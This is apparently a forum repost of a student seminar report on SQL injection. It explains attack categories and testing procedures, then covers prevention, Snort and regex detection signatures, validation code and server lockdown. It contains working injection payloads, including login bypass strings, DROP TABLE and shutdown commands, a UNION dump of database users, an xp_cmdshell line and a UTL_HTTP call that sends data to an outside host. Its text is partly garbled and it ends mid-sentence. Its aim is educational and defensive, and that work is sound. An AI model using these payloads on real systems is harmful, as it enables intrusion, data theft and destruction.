USE OF %(WILDCARD ATTRIBUTE) ORACLE provide us % for finding the information related to a particular field. The attacker makes use of this to guess the username of an account by querying f or similar user names (ex: ad% is used to query for admin). The attacker can insert data by appending commands or writing queries. Also there are several extended stored procedures which can make direct calls to the operating systems and can cause permanent damage to the system.

HOW DOES SQL INJECTION WORKS Common vulnerable login query SELECT * FROM users WHERE login = 'victor' AND password = '123' (If it returns something then login!) ASP/MS SQL Server login syntax var sql = "SELECT * FROM users WHERE login = '" + formusr + "' AND password = '" + formpwd + "'"; INJECTING THROUGH STRINGS

WEB APPLICATION FORM formusr = ' or 1=1 formpwd = anything Final query would look like this: SELECT * FROM users WHERE username = ' ' or 1=1 AND password = 'anything'

SIMPLE ATTACKS Product Search: This input is put directly into the SQL statement within the Web application: $query = SELECT prodinfo FROM prodtable WHERE prodname = . $_POST[prod_search] . ; Creates the following SQL: SELECT prodinfo FROM prodtable WHERE prodname = blah OR x = x Attacker has now successfully caused the entire database to be returned.

MOST MALICIOUS ATTACK What if the attacker had instead entered: blah; DROP TABLE prodinfo; -Results in the following SQL: SELECT prodinfo FROM prodtable WHERE prodname = blah; DROP TABLE prodinfo; -- Note how comment (--) consumes the final quote Causes the entire database to be deleted Depends on knowledge of table name This is sometimes exposed to the user in debug code called during a database err or. Use non-obvious table names, and never expose them to user

DANGEROUS ATTACK One of SQL Server's most powerful commands is: SHUTDOWN WITH NOWAIT, which causes it to shutdown, immediately stopping the Wind ows service. Username: ' ; shutdown with nowait; -Password: [Anything] This can happen if the script runs the following query: select userName from users where userName='; shutdown with nowait;-' and user_Pass=' '

CATEGORIES OF SQL INJECTION There are four main categories of SQL Injection attacks against Oracle databases SQL Manipulation. Code Injection. Function Call Injection Buffer Overflows SQL MANIPULATION. MODIFYING OF SQL STATEMENT USING SET OPERATIONS LIKE UNION, INTERSECT,MINUS ETC. DURING LOGGING AUTHENTICATION SELECT * FROM users WHERE username=bob and PASSWORD=mypassword. THE ATTACKER ATTEMPTS TO MANIPULATE SQL STATEMENT WILL EXECUTE. SELECT * FROM users WHERE username=bob and PASSWORD=mypassword OR a=a.

CODE INJECTION Code injection attacks attempt to add additional SQL statements or commands to t he existing SQL statement. This type of attack is frequently used against Microsoft SQL Server applications , but seldom works with an Oracle database.

ERROR RESULTING QUERY: SELECT * FROM users WHERE username = 'bob' and PASSWORD = 'mypassword'; DELETE F ROM users WHERE username = 'admin';

The following is an example of a PL/SQL block executed in a web application BEGIN ENCRYPT PASSWORD('bob', 'mypassword'); END; The above example PL/SQL block executes an application stored procedure that enc rypts and saves the users password. An attacker will attempt to manipulate the PL /SQL block to execute as BEGIN ENCRYPT PASSWORD('bob', 'mypassword'); DELETE FROM users WHERE upper(usern ame) = upper('admin'); END;

FUNCTION CALL INJECTION Function call injection is the insertion of Oracle database functions or custom functions into a vulnerable SQL statement. These function calls can be used to make operating system calls or manipulate da ta in the database. Functions executed as part of a SQL SELECT statement cannot make any changes to the database unless the function is marked as PRAGMA TRANSACTION.

BUFFER OVERFLOW A number of standard Oracle database functions are susceptible to buffer overflo ws, which can be exploited through a SQL injection attack in an un-patched datab ase. Known buffer overflows exist in the standard database packages as well as in sta ndard database functions such as TZ_OFFSET, TO_TIMESTAMP_TZ, BFILENAME, FROM_TZ, NUMTOYMINTERVAL, and NUMTODSINTERVAL.

SQL INJECTION TESTING ITS NECESSARY TO CHECK FOR SQL INJECETION. UNLESS WE DONT GO FOR TEST WE WILL NOT BE ABLE TO PREVENT THE ATTACKS. PREVENTION TECHNIQUES The various techniques used to prevent SQL injections are:Parameterized query Stored procedure Regular expression to discard input string Quote block function Dont show detailed error messages to the user. Have a less privileged user/role of your application in database. Automated SQL Injection Tools Wpoison is a tool that find any strings potentially SQL Injection vulnerabilitie s in dynamic web documents. Mieliekoek.pl is an SQL Injection crawler that will test all forms on a website for possible SQL injection problems.

ADVANTAGES SQL INJECTION ATTACKS CAN BE HELPFUL FOR DEVELOPING APPLICATION WHICH IS NOT VUL NERABLE TO THESE ATTACKS. MANY PREVENTION TECHNIQUES ARE AVAILABLE FOR SQL INJECTION ATTACKS. SECURITY TERM CAN BE IMPLEMENTED. DISADVANTAGES NO SYSTEM IS SECURED FROM SQL INJECTION. THOUGH, THERE ARE MANY METHODS OF SQL INJECTION PREVENTION, NOT A SINGLE METHOD IS 100% FOOLPROOF. CONFIDENTIAL INFORMATION CAN ALSO BE RETRIEVED BY USING A LOT OF INFORMATION.

APPLICATIONS IT IS USED IN OWASP (OPEN WEB APPLICATION SECURITY PROJECT). ALSO IT IS USED IN GREENSQL FIREWALL

CONCLUSION SQL Injection is a fascinating and dangerous vulnerability. All programming languages and all SQL databases are potentially vulnerable. Protecting against it requires strong design correct input validation hardening This article is to make aware the people who are anyways related to database mai ntenance say DBA, Site owner, Computer science students involving in projects re lated to database and to general people who are launching their sites on interne t. Through this article one can know that what are the breaches that can be secured either code or protection security like firewalls.

REFERENCES BOOKS SQL Injection Defenses First Edition, by Martin Nystrom, release, date March 200 7. Web Hacking: Attacks and defenses By Stuart McClure, Saumil Shah, Shreeraj Shah, 2008. WEB SITES SQL Injection http://www.spidynamics.com/papers/SQLInj...ePaper.pdf 2. Threats and Countermeasures, MSDN, Microsoft http://msdn.microsoft.com 3. Advanced SQL Injection http://www.nextgenss.com/papers/advanced...ection.pdf 4. Detection techniques http://www.securiteam.com//papers/detection-techniques ANY QUESTIONS Find all posts by this userfind Quote this message in a replyQuote Quote this p ost Offline best presentation maker clock01-05-2010, 11:26 PM Post: #5 Senior Member **** 581 posts [3454] CHAPTER 1 INTRODUCTION There was an era when children grew up reading comic strips but now comic strips have got some action and has evolved as the animated cartoon films. Similarly, Web sites initially started just to show some static information to t he user on plain HTML pages with some graphics and colorful text. Soon the adven t of technologies like CGI(Common gateway interface) made it possible to have dy namic features attached to them. Sites were able to query an online database and fulfill requests. With the growing pace of the IT, soon websites got a powerful shot gun called online transaction. Now sites not only display dynamic data but are also capable of taking the orders from the customers and process them onlin e.

This whole drama of accessing the database had the database accessing API (Appli cation Programming Interface) at its heart. The input given by the end user (vis itor) was processed by the back end SQL engine to perform CRUD operations on the database (CRUD - Create, Read, Update, and Delete). SQL injection is a basic attack used either to gain unauthorized access to a dat abase or to retrieve information directly from the database. The basic principle s underlying SQL injection are simple and these types of attacks are easy to exe cute and master. Any program or application may be vulnerable to SQL injection i ncluding stored procedures executed with a direct database connection, Oracle Fo rms applications, web applications, etc. CHAPTER 2 SQL INJECTION SQL Injection is inputting the raw transact SQL Query into an application to per form an unexpected action. Most of the time existing queries are edited to achie ve the same results. Transact SQL is easily changed by the placement of a single character in a chosen spot causing the query to behave in malicious ways. The m ost commonly used characters are back tick (`), double dash(--), and the semi colon (Wink all of which have s pecific meaning in SQL. FIG.NO-1SYMBOLS TABLE Numerous SQL injection vulnerabilities have been found in the standard Oracle Da tabase packages such as DBMS_DATAPUMP, DBMS_REGISTRY, and DBMS_METADATA. Web app lications are at highest risk to attack since often an attacker can exploit SQL injection vulnerabilities remotely without any database or application authentic ation. Web applications using Oracle as a back-end database are more vulnerable to SQL injection attacks than most application developers think. Audits have found many web applications vulnerable to SQL injection even though well-established codin g standards were in place during development of many of these applications. Function-based SQL injection attacks are of most concern, since these attacks do not require knowledge of the application and can be easily automated. Fortunate ly, SQL injection attacks are easy to defend against with simple coding practice s. However, every parameter passed to every dynamic SQL statement must be valida ted or bind variables must be used. So what exactly can an attacker do with a usurped SQL query The attacker can gain unauthorized access to restricted data such as usernames /passwords / email addresses etc. With some more advanced queries and sneakier techniques the attacker can potentially bypass the authentication and gain compl ete control over the web application and potentially the web server. This is a hacking method that allows an unauthorized attacker to access a databa se server. It is facilitated by a common coding blunder: the program accepts dat a from a client and executes SQL queries without first validating the clients inp ut. The attacker is then free to extract, modify, add, or delete content from the database. In some circumstan ces, he may even penetrate past the database server and into the underlying operating sy stem. Hackers typically test for SQL injection vulnerabilities by sending the applicat ion input that would cause the server to generate an invalid SQL query. If the s erver then returns an error message to the client, the attacker will attempt to reverse-engineer portions of the original SQL query using information gained from these error messages. The typic al administrative safeguard is simply to prohibit the display of database server er ror messages. Regrettably, thats not sufficient. Blind SQL injection can still evade the Databases. CHAPTER 3

VULNERABILITIES WHATS VULNERABLE An application is vulnerable to SQL injection for only one reason end user strin g input is not properly validated and is passed to a dynamic SQL statement witho ut any such validation. The string input is usually passed directly to the SQL s tatement. However, the user input may be stored in the database and later passed to a dynamic SQL statement, referred to as a second-order SQL injection. Becaus e of the stateless nature of many web applications, it is common to write data t o the database or store it using some other means between web pages. This indire ct type of attack is much more complex and often requires in-depth knowledge of the application. WHATS NOT VULNERABLE SQL Statements using bind variables are generally protected from SQL Injection a s the Oracle database will use the value of the bind variable exclusively and no t interpret the contents of the variable in any way. PL/SQL and JDBC allow for b ind variables. Bind variables should be extensively used for both security and p erformance reasons. CHECKING FOR VULNERABILITIES Thoroughly checking a web application for SQL injection vulnerability takes more effort than one might guess. Its nice when you throw a single quote into the fir st argument of a script and the server returns a nice blank, white screen with n othing but an ODBC error on it, but such is not always the case. It is very easy to overlook a perfectly vulnerable script if you dont pay attenti on to details. You should always check every parameter of every script on the server. Developers and development teams can be awfully inconsistent. The programmer who designed Script A might have had nothing to do with the development of Script B, so where one might be immune to SQL injection, the other might be ripe for abuse. I n fact, the programmer who worked on Function A in Script A might have nothing to do wit h Function B in Script A, so while one parameter in one script might be vulnerable , another might not. Even if an entire web application is conceived, designed, coded and t ested by one programmer, one vulnerable parameter might be overlooked. You never can be s ure. Test everything. Testing procedure Replace the argument of each parameter with a single quote and an SQL keyword (s uch as " WHERE"). Each parameter needs to be tested individually. Not only that, but when testing each parameter, leave all of the other parameters unchanged, wi th valid data as their arguments. It can be tempting to simply delete everything youre not working with to make things look simpler, particularly with applications that have parameter lines that go into many thousands of characters. Leaving out parameters or giving other par ameters bad arguments while youre testing another for SQL injection can break the applica tion in other ways that prevent you from determining whether or not SQL injection is pos sible. For instance, assume that this is a completely valid, unaltered parameter line ContactName=Maria%20Anders&CompanyName=Alfreds%20Futterkiste while this parameter line gives you an ODBC error ContactName=Maria%20Anders&CompanyName=%20 and checking with this line might simply return an error indicating that you nee

d to specify a ContactName value. CompanyName= This line ContactName=BadContactName&CompanyName= might give you the same page as the request that didnt specify ContactName at all. Or, it might give you the sites default homepage. Or, perhaps when the applicatio n couldnt find the specified ContactName, it didnt bother to look at CompanyName, so it didnt even pass the argument of that parameter into an SQL statement. Or, it migh t give you something completely different. So, when testing for SQL injection, always u se the full parameter line, giving every argument except the one that you are testing a legitimate value. FIG NO-2..INPUT VALIDATION Evaluating Results If the server returns a database error message of some kind, injection was defin itely successful. However, the messages arent always obvious. Again, developers do some strange things, so you should look in every possible place for evidence of succe ssful injection. First, search through the entire source of the returned page for phra ses such as ODBC, SQL Server, Syntax, etc. More details on the nature of the error can be in hidden input, comments, etc. Check the headers. I have seen web applications on production systems that return an error message with absolutely no information i n the body of the HTTP response, but that have the database error message in a header. Many web applications have these kinds of features built into them for debugging and QA purposes, and then developers forget to remove or disable them before release. You should look not only on the immediately returned page, but also in linked pa ges. During a recent penetration test, I saw a web application that returned a generi c error message page in response to an SQL injection attack. Clicking on a stop sign ima ge next to the error retrieved another page giving the full SQL Server error message. Another thing to watch out for is a 302 page redirect. You may be whisked away f rom the database error message page before you even get a chance to notice it. Note that SQL injection may be successful even if the server returns an ODBC err or messages. Many times the server returns a properly formatted, seemingly generic error message page telling you that there was an internal server error or a problem processing your request. FIG.NO-3ERROR PAGE Some web applications are designed to return the client to the sites main page wh enever any type of error occurs. If you receive a 500 Error page back, chances a re that injection is occurring. Many sites have a default 500 Internal Server Er ror page that claims that the server is down for maintenance, or that politely a sks the user to send an e-mail to their support staff. It can be possible to tak e advantage of these sites using stored procedure techniques. CHAPTER 4

SQL INJECTION METHODS CATEGORIES OF SQL INJECTION There are four main categories of SQL Injection Attacks against Oracle Database: 1. SQL Manipulation. 2. Code Injection 3. Function Call Injection 4. Buffer Overflows SQL manipulation typically involves modifying the SQL statement through set oper ations (e.g., UNION) or altering the WHERE clause to return a different result. Many documented SQL injection attacks are of this type. The most well known atta ck is to modify the WHERE clause of the user authentication statement so the WHE RE clause always results in TRUE. Code injection is when an attacker inserts new SQL statements or database comman ds into the SQL statement. The classic code injection attack is to append a SQL Server EXECUTE command to the vulnerable SQL statement. Code injection only work s when multiple SQL statements per database request are supported. SQL Server an d PostgreSQL have this capability and it is sometimes possible to inject multipl e SQL statements with Oracle. Oracle code injection vulnerabilities involve the dynamic execution of SQL in PL/SQL. The last two categories are more specific attacks against Oracle databases and a re not well known or documented. In the vast majority of our application audits, we have found applications vulnerable to these two types of attacks. 4.1. SQL MANIPULATION FIG NO-4SQL MANIPULATION The most common type of SQL Injection attack is SQL manipulation. The attacker a ttempts to modify the existing SQL statement by adding elements to the WHERE cla use or extending the SQL statement with set operators like UNION, INTERSECT, or MINUS. There are other possible variations, but these are the most significant e xamples. The classic SQL manipulation is during the login authentication. A simp listic web application may check user authentication by executing the following query and checking to see if any rows were returned SELECT * FROM users WHERE username = 'bob' and PASSWORD = 'mypassword' The attacker attempts to manipulate the SQL statement to execute as SELECT * FROM users WHERE username = 'bob' and PASSWORD = 'mypassword' or 'a' = 'a ' Based on operator precedence, the WHERE clause is true for every row and the att acker has gained access to the application. The set operator UNION is frequently used in SQL injection attacks. The goal is to manipulate a SQL statement into r eturning rows from another table. A web form may execute the following query to return a list of available products SELECT product_name FROM all_products WHERE product_name like '%Chairs%' The attacker attempts to manipulate the SQL statement to execute as SELECT product_name FROM all_products WHERE product_name like '%Chairs' UNION SE LECT username FROM dba_users WHERE username like '%' FIG NO-5DATABASE TABLE The list returned to the web form will include all the selected products, but al so all the database users. 4.2. CODE INJECTION Code injection attacks attempt to add additional SQL statements or commands to t he existing SQL statement. This type of attack is frequently used against Micros oft SQL Server applications, but seldom works with an Oracle database. The EXECU TE statement in SQL Server is a frequent target of SQL injection attacks there i s no corresponding statement in Oracle. In PL/SQL and Java, Oracle does not support multiple SQL statements per database request. Thus, the following common injection attack will not work against an O racle database via a PL/SQL or Java application.This statement will result in an error SELECT * FROM users WHERE username = 'bob' and PASSWORD = 'mypassword'; DELETE F ROM users WHERE username = 'admin';

However, some programming languages or APIs may allow multiple SQL statements to be executed. PL/SQL and Java applications can dynamically execute anonymous PL/ SQL blocks, which are vulnerable to code injection. The following is an example of a PL/SQL block executed in a web application BEGIN ENCRYPT PASSWORD('bob', 'mypassword'); END; The above example PL/SQL block executes an application stored procedure that enc rypts and saves the users password. An attacker will attempt to manipulate the PL /SQL block to execute as BEGIN ENCRYPT PASSWORD('bob', 'mypassword'); DELETE FROM users WHERE upper(usern ame) = upper('admin'); END; 4.3. FUNCTION CALL INJECTION Function call injection is the insertion of Oracle database functions or custom functions into a vulnerable SQL statement. These function calls can be used to m ake operating system calls or manipulate data in the database. The Oracle databa se allows functions or functions in packages to be executed as part of a SQL sta tement. By default, Oracle supplies over 1,000 functions in about 175 standard d atabase packages, although only a fraction of these functions may be useful in a SQL injection attack. Some of these functions do perform network communication, which can be exploited. Any custom function or function residing in a custom pa ckage can also be executed in a SQL statement. Functions executed as part of a SQL SELECT statement cannot make any changes to the database unless the function is marked as PRAGMA TRANSACTION. Very few of th e standard Oracle functions are executed as autonomous transactions. Functions e xecuted in INSERT, UPDATE, or DELETE statements are able to modify data in the d atabase. Using the standard Oracle functions, an attacker can send information f rom the database to a remote computer or execute other attacks from the database server. Many Oracle-based applications leverage database packages, which can be exploite d by an attacker. These custom packages may include functions to change password s or perform other sensitive application transactions. The issue with function c all injection is that any dynamically generated SQL statement is vulnerable even the simplest SQL statements can be effectively exploited. The following example demonstrates even the most simple of SQL statements can be vulnerable. Applicat ion developers will sometimes use database functions instead of native code (e.g ., Java) to perform common tasks. There is no direct equivalent of the TRANSLATE database function in Java, so the programmer decided to use a SQL statement. SELECT TRANSLATE('user input','0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '012345678 9') FROM dual; This SQL statement is not vulnerable to other types of injection attacks, but is easily manipulated through a function injection attack. The attacker attempts t o manipulate the SQL statement to execute as SELECT TRANSLATE('' || UTL_HTTP.REQUEST('http://192.168.1.1/') || '', '012345678 9ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789') FROM dual; The changed SQL statement will request a page from a web server. The attacker co uld manipulate the string and URL to include other functions in order to retriev e useful information from the database server and send it to the web server in t he URL. Since the Oracle database server is most likely behind a firewall, it co uld also be used to attack other servers on the internal network. Custom functio ns and functions in custom packages can also be executed. An example would be a custom application has the function ADDUSER in the custom package MYAPPADMIN. Th e developer marked the function as PRAGMA TRANSACTION, so it could be executed u nder any special circumstances that the application might encounter. Since it is marked PRAGMA TRANSACTION, it can write to the database even in a SELECT statem ent. SELECT TRANSLATE('' || myappadmin.adduser('admin', 'newpass') || '', '0123456789 ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789') FROM dual; Executing the above SQL statement, the attacker is able to create new applicatio n users. 4.4. BUFFER OVERFLOWS A number of standard Oracle database functions are susceptible to buffer overflo

ws, which can be exploited through a SQL injection attack in an un-patched datab ase. Known buffer overflows exist in the standard database packages as well as i n standard database functions such as TZ_OFFSET, TO_TIMESTAMP_TZ, BFILENAME, FRO M_TZ, NUMTOYMINTERVAL, and NUMTODSINTERVAL. FIG NO.6BUFFER OVERFLOW A buffer overflow attack using TZ_OFFSET, TO_TIMESTAMP_TZ, BFILENAME, FROM_TZ, N UMTOYMINTERVAL, or NUMTODSINTERVAL is executed using the function injection meth ods described previously. By exploiting the buffer overflow via a SQL injection attack, remote access to the operating system can be achieved. Additional inform ation is widely available on executing and preventing buffer overflow attacks. In addition, some application and web servers do not gracefully handle the loss of a database connection due to a buffer overflow. Usually, the web process will hang until the connection to the client is terminated, thus making this potenti ally an effective denial of service attack. CHAPTER 5 MALICIOUS ATTACKS MALICIOUS ATTACKS The user filled fields are enclosed by single quotation marks('). A simple test would be to try using (') as the username. The following error message will be d isplayed when a (') is entered into a form that is vulnerable to SQL injection:WARNING:- Input validation attacks occur here on a website. If this error is displayed then SQL injection techniques can be tried. The attac ker can try to login without a password. Typical usernames would be 1=1 or any text within single quotes. One of SQL Server's most powerful commands is SHUTDOWN WITH NOWAIT, which causes it to shutdown, immediately stopping the Windows service. Username: ' ; shutdown with nowait; -Password: [Anything] This can happen if the script runs the following query: select userName from users where userName='; shutdown with nowait;-' and user_Pa ss=' '; There are several extended stored procedures that can cause permanent damage to a system. Input Validation attack CHAPTER 6 PREVENTION TECHNIQUES Researchers have proposed a wide range of techniques to address the problem of S QL injection. These techniques range from development best practices to fully au tomated frameworks for detecting and preventing SQL Injection Attacks. In this s ection, we review these proposed techniques and summarize the advantages and dis advantages associated with each technique. The various techniques used to preven t SQL injections are:1. Parameterized query. 2. Stored procedure. 3. Regular expression to discard input string. 4. Quote block function. 5. Dont show detailed error messages to the user. 6. Have a less privileged user/role of your application in database. 6.1. Parameterized queries with Bound Parameters Parameterized queries keep the query and data separate through the use of placeh olders known as "bound" parameters. For example in Java, this looks like this: "select * from table where columna= and columnb=" The developer must then set values for the two placeholders. Note that using thi s syntax without actually using the placeholders and setting values provides no protection against SQL injection. 6.2. Parameterized Stored Procedure The use of parameterized stored procedures is an effective mechanism to avoid mo

st forms of SQL Injection. In combination with parameterized bound queries, it i s very unlikely that SQL injection will occur within your application. However, the use of dynamic code execution features can allow SQL Injection as shown belo w: create proc VulnerableDynamicSQL(@userName nvarchar(25)) as declare @sql nvarchar(255) set @sql = 'select * from users where UserName = + @userName + ' exec sp_executesql @sql The above example still allows SQL Injection as it allows dynamic injection of a rbitrary string data. This is also true of Java / PL/SQL and MySQL's stored proc edure support. 6.2.1. Regular expression to discard input string. An important point to keep in mind while choosing your regular expression(s) for detecting SQL Injection attacks is that an attacker can inject SQL into input t aken from a form, as well as through the fields of a cookie. Your input validati on logic should consider each and every type of input that originates from the u ser -- be it form fields or cookie information -- as suspect. Also if you discov er too many alerts coming in from a signature that looks out for a single-quote or a semi-colon, it just might be that one or more of these characters are valid inputs in cookies created by your Web application. Therefore, you will need to evaluate each of these signatures for your particular Web application. As mentioned earlier, a trivial regular expression to detect SQL injection attac ks is to watch out for SQL specific meta-characters such as the single-quote (') or the double-dash (--). In order to detect these characters and their hex equi valents, the following regular expression may be used: 6.2.2. Regex for detection of SQL meta-characters /(\%27)|(\')|(\-\-)|(\%23)|(#)/ix Explanation: We first detect either the hex equivalent of the single-quote, the single-quote itself or the presence of the double-dash. These are SQL characters for MS SQL S erver and Oracle, which denote the beginning of a comment, and everything that f ollows is ignored. Additionally, if you're using MySQL, you need to check for pr esence of the '#' or its hex-equivalent. Note that we do not need to check for t he hex-equivalent of the double-dash, because it is not an HTML meta-character a nd will not be encoded by the browser. Also, if an attacker tries to manually mo dify the double-dash to its hex value of %2D , the SQL Injection attack fails. The above regular expression would be added into a new Snort rule as follows: alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"SQL Injection - P aranoid"; flow:to_server,established;uricontent:".pl";pcre:"/(\%27)|(\')|(\-\-)| (%23)|(#)/i"; classtype:Web-application-attack; sid:9099; rev:5Wink In this case, the uricontent keyword has the value ".pl", because in our test en vironment, the CGI scripts are written in Perl. Depending upon your particular a pplication, this value may be either ".php", or ".asp", or ".jsp", etc. From thi s point onwards, we do not show the corresponding Snort rule, but instead only t he regular expressions that are to be used for creating these rules. From the re gular expressions you can easily create more Snort rules. In the previous regular expression, we detect the double-dash because there may be situations where SQL injection is possible even without the single-quote . Ta ke, for instance, an SQL query which has the where clause containing only numeri c values. Something like: select value1, value2, num_value3 from database where num_value3=some_user_supplied_number In this case, the attacker may execute an additional SQL query, by supplying an input like: 3; insert values into some_other_table Finally, pcre modifiers 'i' and 'x' are used in order to match without case sens itivity and to ignore whitespaces, respectively. The above signature could be additionally expanded to detect the occurrence of t

he semi-colon as well. However, the semi-colon has a tendency to occur as part o f normal HTTP traffic. In order to reduce the false positives from this, and als o from any normal occurrence of the single-quote and double-dash, the above sign ature could be modified to first detect the occurrence of the = sign. User input will usually occur as a GET or a POST request, where the input fields will be r eflected as: username=some_user_supplied_value&password=some_user_supplied_value Therefore, the SQL injection attempt would result in user input being preceded b y a = sign or its hex equivalent. 6.2.3. Modified regex for detection of SQL meta-characters /((\%3D)|(=))[^\n]*((\%27)|(\')|(\-\-)|(\%3B)|(Wink)/i Explanation: This signature first looks out for the = sign or its hex equivalent (%3D). It th en allows for zero or more non-newline characters, and then it checks for the si ngle-quote, the double-dash or the semi-colon. A typical SQL injection attempt of course revolves around the use of the single quote to manipulate the original query so that it always results in a true value . Most of the examples that discuss this attack use the string 1'or'1'='1. Howev er, detection of this string can be easily evaded by supplying a value such as 1 'or2>1--. Thus the only part that is constant in this is the initial alphanumeri c value, followed by a single-quote, and then followed by the word 'or'. The Boo lean logic that comes after this may be varied to an extent where a generic patt ern is either very complex or does not cover all the variants. Thus these attack s can be detected to a fair degree of accuracy by using the next regular express ion, in section 2.3 below. 6.2.4. Regex for typical SQL Injection attack /\w*((\%27)|(\'))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix Explanation: \w* - zero or more alphanumeric or underscore characters (\%27)|\' - the ubiquitous single-quote or its hex equivalent (\%6F)|o|(\%4F))((\%72)|r|(\%52) - the word 'or' with various combinations of it s upper and lower case hex equivalents. The use of the 'union' SQL query is also common in SQL Injection attacks against a variety of databases. If the earlier regular expression that just detects the single-quote or other SQL meta characters results in too many false positives, you could further modify the query to specifically check for the single-quote an d the keyword 'union'. This can also be further extended to other SQL keywords s uch as 'select', 'insert', 'update', 'delete', etc. 6.2.5. Regex for detecting SQL Injection with the UNION keyword /((\%27)|(\'))union/ix (\%27)|(\') - the single-quote and its hex equivalent union - the keyword union Similar expressions can be written for other SQL queries such as >select, insert , update, delete, drop, and so on. If, by this stage, the attacker has discovered that the Web application is vulne rable to SQL injection, he will try to exploit it. If he realizes that the backend database is on an MS SQL server, he will typically try to execute one of the many dangerous stored and extended stored procedures. These procedures start wi th the letters 'sp' or 'xp' respectively. Typically, he would try to execute the 'xp_cmdshell' extended procedure, which allows the execution of Windows shell c ommands through the SQL Server. The access rights with which these commands will be executed are those of the account with which SQL Server is running -- usuall y Local System. Alternatively, he may also try and modify the registry using pro cedures such as xp_regread, xp_regwrite, etc. 6.2.6. Regex for detecting SQL Injection attacks on a MS SQL Server /exec(\s|\+)+(s|x)p\w+/ix Explanation: exec - the keyword required to run the stored or extended procedure (\s|\+)+ - one or more whitespaces or their HTTP encoded equivalents (s|x)p - the letters 'sp' or 'xp' to identify stored or extended procedures resp

ectively \w+ - one or more alphanumeric or underscore characters to complete the name of the procedure. CHAPTER 7 COUNTERMEASURES 7.1 Input Validation Input validation can be a complex subject. Typically, too little attention is pa id to it in a development project, since over enthusiastic validation tends to c ause parts of an application to break, and the problem of input validation can be difficult to so lve. Input validation tends not to add to the functionality of an application, and thus it is generally overlooked in the rush to meet imposed deadlines. The following is a brief discussion of input validation, with sample code. This sample code is (of course) not intended to be directly used in applications, but it doe s illustrate the differing strategies quite well. The different approaches to data validation can be categorised as follows: 1) Attempt to massage data so that it becomes valid 2) Reject input that is known to be bad 3) Accept only input that is known to be good Solution (1) has a number of conceptual problems; first, the developer is not ne cessarily aware of what constitutes 'bad' data, because new forms of 'bad data' are being discovered all the time. Second, 'massaging' the data can alter its le ngth, which can result in problems as described above. Finally, there is the problem of second-order effec ts involving the reuse of data already in the system. Solution (2) suffers from some of the same issues as (1); 'known bad' input chan ges over time, as new attack techniques develop. Solution (3) is probably the better of the three, but can be harder to implement . Probably the best approach from a security point of view is to combine approache s (2) and (3) - allow only good input, and then search that input for known 'bad' data . A good example of the necessity to combine these two approaches is the problem o f hyphenated surnames such as:Quentin Bassington-Bassington We must allow hyphens in our 'good' input, but we are also aware that the charac ter sequence '--' has significance to SQL server. Another problem occurs when combining the 'massaging' of data with validation of character sequences - for example, if we apply a 'known bad' filter that detects '--', 'select' and 'union' followed by a 'massaging' filter that removes single-quotes, the att acker could specify input like uni'on sel'ect @@version-'Since the single-quote is removed after the 'known bad' filter is applied, the a ttacker can simply intersperse single quotes in his known-bad strings to evade d etection. Here is some example validation code. Approach 1 - Escape singe quotes function escape( input ) input = replace(input, "'", "''") escape = input

end function Approach 2 - Reject known bad input function validate_string( input ) known_bad = array( "select", "insert", "update", "delete", "drop", "--", "'" ) validate_string = true for i = lbound( known_bad ) to ubound( known_bad ) if ( instr( 1, input, known_bad(i), vbtextcompare ) <> 0 ) then validate_string = false exit function end if next end function Approach 3 - Allow only good input function validatepassword( input ) good_password_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" validatepassword = true for i = 1 to len( input ) c = mid( input, i, 1 ) if ( InStr( good_password_chars, c ) = 0 ) then validatepassword = false exit function end if next end function. 7.2 SQL Server Lockdown The most important point here is that it *is* necessary to 'lock down' SQL serve r; it is not secure 'out of the box'. Here is a brief list of things to do when creating a SQL Server build: 1. Determine methods of connection to the server a. Verify that only the network libraries you're using are enabled, using the 'N etwork utility' 2. Verify which accounts exist a. Create 'low privileged' accounts for use by applications b. Remove unnecessary accounts c. Ensure that all accounts have strong passwords; run a password auditing scrip t (such as the one provided as an appendix to this paper) against the server on a regular basis 3. Verify which objects exist a. Many extended stored procedures can be removed safely. If this is done, consi der removing the '.dll' file containing the extended stored procedure code. b. Remove all sample databases - the 'northwind' and 'pubs' databases, for examp le. 4. Verify which accounts can access which objects a. The account that an application uses to access the database should have only the minimum permissions necessary to access the objects that it needs to use. 5. Verify the patch level of the server a. There are several buffer overflow and format string attacks against SQL Serve r (mostly discovered by the author) as well as several other 'patched' security issues. It is likely that more exist. 6. Verify what will be logged, and what will be done with the logs. Replace direct SQL statements with stored procedures, prepared statements, or AD O command Objects. Implements Default Error Handling. This would include using a single error messa

ge for all errors Lock down ODBC. Disable Messaging to clients. Don't let regular SQL Statements t hrough Lock down User Database configuration Specify. users, roles and permissions etc. 7.3 Robust network architecture This design will aid in the defense of any enterprise. The diagram shows a defensible network design by utilizing a De-Militarized Zone (DMZ) to ho ld all public facing servers. FIG NO-7ROBUST NETWORK ARCHITECTURE. CHAPTER 8 ADVANTAGES AND DISADVANTAGES ADVANTAGES INPUT VALIDATION Keeps track of the input to the web application. It does not allow symbol to be used for the string to form a query in an web app lication. SQL SERVER LOCK DOWN Its possible to create low privileged accounts. Avoid access of account by other servers. Removal of unnecessary accounts. DISADVANTAGES INPUT VALIDATION It is very complicated to implement. Difficult to solve complex problem caused due to input validation. Its not possible to distinguish between good and bad input. SQL SERVER LOCKDOWN Needs to verify which connection to the server. Verification of each and every account is to be done. Track of objects is needed to maintain which object accesses which account. CHAPTER 9 AUTOMATED TOOLS FOR SQL INJECTION ATTACKS SQL Injection is typically performed manually, BUT some tools are available that will help automate the process of identifying and exploiting the vulnerability. Wpoison is a tool that will find any strings potentially SQL Injection vulnerabi lities in dynamic web documents. SQL error strings are stored in a signature fil e, making it easier for anyone to add their own signature for a possible SQL Inj ection signature for a web application. Wpoison runs on linux and is available at http://wpoison.sourceforeg.net mieliekoek.pl is an SQL Injection insertion crawler that will test all forms on a website for possible SQL Insertion problems. This script will take the output of a websi te mirroring tool as input inspecting every file and determining whether there i s a form in the file. The string to be injected can easily be changed in the con figuration file. To obtain a copy of the script please see 'http://packetstormse curity.com/UNIX/security/mieliekoek.pl' please make sure you have a perl environ ment installed. Here is an example of the output of mieliekoek.pl : $badstring='blah'; $badstring='blah' or 1=1 --'; $badstring='blah' exec master..xp_cmdshell 'nslookup a.com 192.168.1.6' - ; SPI toolkit from SPI Dynamics contains a tool called SQL Injector that will auto 